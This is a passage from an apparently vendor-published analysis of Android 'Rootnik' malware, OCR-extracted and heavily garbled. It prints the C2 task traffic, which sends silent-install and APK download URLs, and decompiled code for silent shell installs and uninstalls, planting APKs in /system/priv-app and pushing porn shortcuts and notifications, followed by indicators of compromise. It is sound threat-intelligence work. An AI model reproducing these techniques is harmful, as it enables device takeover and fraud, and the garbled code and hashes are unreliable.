is the main domain grs[.]Jgowdsy[.]Jcom, and the other is backup domain grs[.Jrogsob[.]Jcom.
The response from the remote server is an xml file that contains the type of task, the url used
to push porn, the url of the downloading apk, and the type of app to install, etc.

GET /fgetxml.do?vs=5.1&ch=jgml61115102&1e=PXrkC3GKPA4K63PXCXd]1&pkg=com.br.srdapkDir=system priv-appdsystem=19&ua=Nexus_5&iswifi=true&ipad=false
HTTP/1.1

User-Agent: Dalvik/1.6.8 (Linux; U; Android 4.4.2; Nexus 5 Build/KOT49H)

Host: grs.gowdsy.com:B8892

Connection: Keep-Alive

Accept-Encoding: gzip

HTTP/1.1 288 OK

Server: Apache-Coyote/1.1
Content-Type: text/plain;charset=UTF-8
Content-Length: 756

Date: Wed, 18 Jan 2817 19:32:45 GMT

o g po o S W RH

<task»silentinstall</task><isfilterbrowser>true</isfilterbrowser><browserurl>http://rubjor.com/,,
. i :/browserurl><bookmarkname>»ZHANSHI</bookmarkname><bookmarkurl>http://rubjor.com/get/" = 777 I

i _..w</bookmarkurl><bookmarkicon>http: //gt. yepodjr . com:88/b2/icon. png</bockmarkicon><downloadurl>http: //gt.yepodjr. com: 818;’1774"

snowfoxfotal. apk</downloadurl><taskid>666470874</taskid><usoft></usoft><fail2tancstrue</fail2tanc><packagename>com.gnat.android</
packagename><title>snowfoxfotal</title><content>snowfoxfotal</content><mainurl>qj.hoyebs.com</mainurl><backupurl>qj.hoyow.com</backupurl><time>1</
time><redid>82894825</redid><bmid>78893316</bmid><isSys>true</isSys>

Figure 61. The traffic of fetching the task from the remote server

Depending on the type of task fetched, the app executes the task in a different way. The
following is the key code snippet:

ifﬁls. Easﬁ.equaIs metwcrﬂ'Tc:c:I. !LNEE?E I I
if (!NetworkTocl.DISPLAVDORNLOAD.equals (this.downloadtype) s& (NetworkTool. STLENTDORNLOAD.equals (this.downloadtype))) |
this.downloadlpk (this.downloadurl, v3);:

1

}
else if [NetworkTool. STLENTINSTALL.equals (this. ‘.;a'sk)i {
this.download®pk (this.downloadurl, v3);:

}
else ifﬂﬁetwcrkIccl.NGTICE.equ_als{this. task) i |
thiz.showNotification(this.dowvnloadurl, v3);

1

else ifINetwcrkIccl. NGTASK.Eﬂals ithis. ‘.;a'skz I I

this.statistic(-502);

1

else |
this.statistic({-500);

}

if{v5.booleanValue()) {
long w& = 30000;
try |
Thread.sleep{vE);
t
catch({InterruptedException v&_1) |

1

this.launchTancTask():
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Figure 62. Execute the task depending on the type of task

The remote control service is capable of performing multiple malicious behaviors, including
but not limited to the following:

1. Uninstall app

It uses the utility “pm uninstall” of android system to uninstall app.

public static String uninstall {String arg7) {

return ADService.execShellCmd (new String[]{new s::::g, new String({new byte[]{f17, 110, 105, 110, 115, 116, 97, 108, 108Y), arg7}):

! pim <— uninstall @™
Figure 63. Execute pm uninstall to uninstall app via shell command
1. Push porn

The following are some screenshots for pushed porn.
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Attention!

snapl12 / 33 wants to trade her nude pics with you.

Do you accept?

Yes MNo

Heree you go {:

Privacvy Terms DMCA

q € (i

LT

24/49



WellHello?
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Are you male or female?

Female

Figure 64. Porn pushed to the device by the app
1. Create a shortcut on the home screen

The shortcuts found contain porn, hot app, hot video, etc. The following is the code snippet
and some screenshots of the shortcuts created.

I

Intent v13 = new Im:em:["tom.andmid.lau.ncher.action.INW‘;
v13.putExtra("android.intent.extra.shortcut.HAME", arglfg);
v13.putExtra ("duplicate", false):
v13.putExtra ("android.intent.extra.shortcut. INTENT", new Intent({"android.intent.action.VIEW", Uri.parse{argl9))):
if (this.cxt.getPackagelName () .equals{va)) {

w10 = this.zxt:

goto label 58;

t

try |
w10 = this.cxt.createPackageContext (w3, 3);
}
catch (FackageManagersNamellotFoundException w2) {
v2.printStcackTrace();

t

label 58:
if(wl0 '= null) |
Bitmap w1l = NetworkIcol.getHttpBitmap(this.coxt, arg2d);
if (vl '= null) {
v13.putExtra ("android.intent.extra.shortcut. ICON", (({Parcelable)wl)):
}
else |
v1l3.putExtra ("android.intent.extra.shortcnt. ICON", IntentiShortcutlconBescurce.fromContext(vl0, w4));
}
}

this.cxt.sendBroadcast (w13} ;
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Figure 65. The snippet of creating the shortcut on home screen
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Browser hot video Sexy Girls Beauty Video

hot video hot video
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Play Music  PlayiMovies & i S Play BEaoks Play Games

SEA- -

Browser HotVideo TopAPP Pugongyin

'y X

Figure 66. Shortcuts on home screen
1. App and ad promotion

In addition to gaining root privileges on the device, the rootnik malware promotes apps and
ads to generate revenue for its creator. Its app and ad promotion is especially aggressive
and annoying to the user.

The following are some screenshots of its app promotion:
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Suggested App

4 Alto Mail: Organize Your...
ALTO Sponsored e

Email used to be simple. Now, we're faced with a flood of
messages arriving in multiple inboxes. It's getting harder to...

100% FREE

00000 - 200000 people use this

410 likes 598 shares

¥ Like Comment %, Share
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-+

[AD] Bubble Witch 2 Saga

From the makers of Candy Crush Saga, Bubble Witch Saga &
Farm Heroes Saga comes Bubble Witch 2 Saga!Stella and her

INSTALL
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Spider Solitaire
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Trulia Real Estate &
Rentals

v/ INSTALL NOW

st m.alimece.com/?from=8(
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e
SKOUT - Meet, Chat, Friend

v/ INSTALL NOW

Alarm Clock! is ready!

86% of users recommend these:

M40 X5 ant Roller Coas ﬁ Santa City | Elsa Make
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Uninstall
the rest ¢

Eﬁﬁﬂ J'I:l'l"':ﬁﬂll:ﬁl'i :ﬂ I'ﬁﬂl'l'll’l

Alarm Clock! is ready!

86% of users recommend these:
0

= 7

Camera Unin

| ~tAart

- start

42/49



Do you want to try?

Do you want to try?

WORLD V\
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Figure 67. App and ad promotion

1. Normal app installation and silent app installation

The malware uses different ways to install an app, depending on the type of task that has
been fetched. The following is the code snippet of a normal app installation that has a user-
interface view during the installation process.

if (HetworkTocl.WINDOW.equals{this.task)) {

this.pextFilterTime = Syatem.currentTimeMillis () + 3600000;
this.upgradeKey (this.editorCM, new Cbject[] {ADService. K NFT, Long.valueQf (this.nextFilterTime) 1) ;

v7 = new Intent("android.intent.action.WVIEW");
v7.addFlags (2668435456) ;
v7.3etDatafndType (Uri.fromFile (new File(v2)), "application/vnd.android.package-archive"); 1

this.cxt.startletivity (v7);

Figure 68. Normal app installation

The app uses the utility “pm install -r” of the Android system to silently install non-system
apps while it drops APK files into the folder /system/priv-app/ to install system apps.

public static String install(String argg) |

return ADService.execShellCrd (new Scring[]{new Stringdpew bybe[]{112, 108}], new String{few Byte(](105, 110, 115, 116, 87, 108, 1081), new 3tring {pew Bytel {0, 11411,] arad}l:
— ] a— - —
pm install T
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Figure 69. Silent non-system app installation

In the folder /data/app/ we found that some apk files (including, but not limited to the
following) had been installed.

1]

m m

1]

m M m
2 =2

[

1]
=

pﬁs.plus-i.ap{
ms-1.apk

m m
2 =2

1]

m m

m

L
L e e s Y Y Y O e e e e Y Y Y e O e O e Y e Y Y Y Y e O e O e Y o o |

.mobilityware.spider-1.
.p me " ]

m

o mMmMmMMMMDIMD
EREEEEEERERE]

Figure 70. Apps installed in the folder /data/app/ by the malware

v10 .valueQf (v10) + + argl9 + MyConst.Ros + .separator +

v10 = this.xB.booleanValue({) ? .valueOf (v10) + this.getAppCMD{argl9) + + argl9 + this.fina + +m+ this.fina + + v1l + this.fina + +
v1o = .wvalueOf (v10) + + argld + MyConst.Ros + .separator +
se | [system/priv-app/
A S e .

Figure 71.Command to install system app

In the folder /system/priv-app/ we found that some apk files (including, but not limited to the
following) had also been installed.

Figure 72. Apps installed in folder /system/priv-app/ by the malware
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1. Push notification

The malware pushes a notification and induces the user to click it to open the URL in a
browser.

The following is the code snippet of the pushed notification.

private void showNotification(String argl2, String argl3) |

String va = ADService.get¥mlValue (NetworkTool.TITLE, argl3);

String w0 = ADService.getXmlValue (NetworkIool.CONTENT, argl3):

Ckject w5 = this.cxt.get3ystemService("notification");

Hotificaticn v4 = new lMotificaticon({l17301545, (({CharSequence)vé), Iyvstem.currentTimeMillis({});
vd.flags = 16;

vi.defaults |= 1;

Intent wa = new LoteEnt()r

v3.gethection("android. intent.action.VIEW") ;

Uri w2 = Uri.parse{argl?);

vi.setData(v2);

v3i.getClassHame ("com. android.browser”, "com.android.browser.BrowserhActivity"):
v3.setData(va):

¥i.getFlags (3355445200 &

PendingIntent vl = PendingIntent.getActivity(this.cxt, 0, hB, 134217728) ;
vd.getlatestEventInfo({this.cxt, ({CharSequence)wd), ({CharSequence)w0), wl);
v4.contentIntent = vl;

lotificationManager

this.statistic{-802);

Figure 73. Snippet of pushed notification
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3 . 2 .I THU, JANUARY 19
EMERGENCY CALLS ON

Screenshot captured.

Touch to view your screenshot.

hot video

hot video

- PLAY

Down Complete.Click Insta

<Untitled>
Download unsuccessfu

<Untitled>

Download v

<Untitled>

Download unsuccessfu

<Untitled>

« €

Figure 74. Push notifications used by the malware

1. Download files
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We found that there are many files and folders downloaded in folder /sdcard/. They include
apk files, jar files, pictures, log files, etc.These files are generated by the installed apps, and
some of them perform malicious behaviors.

ihuapks
11

Figure 75. The files and folders dowonloaded in folder /sdcard/

Solution

The malware sample is detected by Fortinet Antivirus signature Android/Rootnik.PAC!tr.

The traffic communicating with remote C2 server can be detected by Fortinet IPS signature
Android.Rootnik.Malware.C2.

Summary

From the analysis above, we can see that the rootnik malware is very powerful and uses
very advanced anti-debugging and anti-hooking techniques to prevent reversing engineering,
and different types of encryption for files and strings. Additionally, it also uses a multidex
scheme to dynamically load and install the secondary dex file that is the main logic of this
malware. The malware uses some open-sourced Android root exploit tools and the MTK
root scheme from dashi root tool to gain root access on the Android device. After
successfully gaining root privileges on the device, the rootnik malware can perform a variety
of malicious, including app and ad promotion, pushing porn, creating shortcuts on the home
screen, silent app installation, and pushing notifications, etc.

Appendix
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Rootnik Malware Sample

Package Name: com.web.sdfile

SHA256:
ESE22B357893BC15A50DC35B702DDSFCDFEAFC6FFEC7DAAOD313C724D72EC854

Additional APK files dropped into system partition by Rootnik malware
Package Name: com.br.srd

SHA256:
E2BDCFE5796CD377D41F3DA3838865AB062EA7AFOE1E4424B1E34EBO84ABEC4A

Package Name: com.oyws.pdu

SHA256:
CEE6584CD2EO01FABSFO075F94AF2A0CEO024EDSE4F2D52E3DC39F7655C736A7232

C&C Server

gt[.Jrogsob[.Jcom
grs[.Jgowdsy[.Jcom:
qjl.Jhoyebs].Jcom
qjl.Jhoyow[.Jcom
gt[.Jyepodijr[.Jcom

Sign up for weekly Fortinet FortiGuard Labs Threat Intelligence Briefs and stay on top of the
newest emerging threats.
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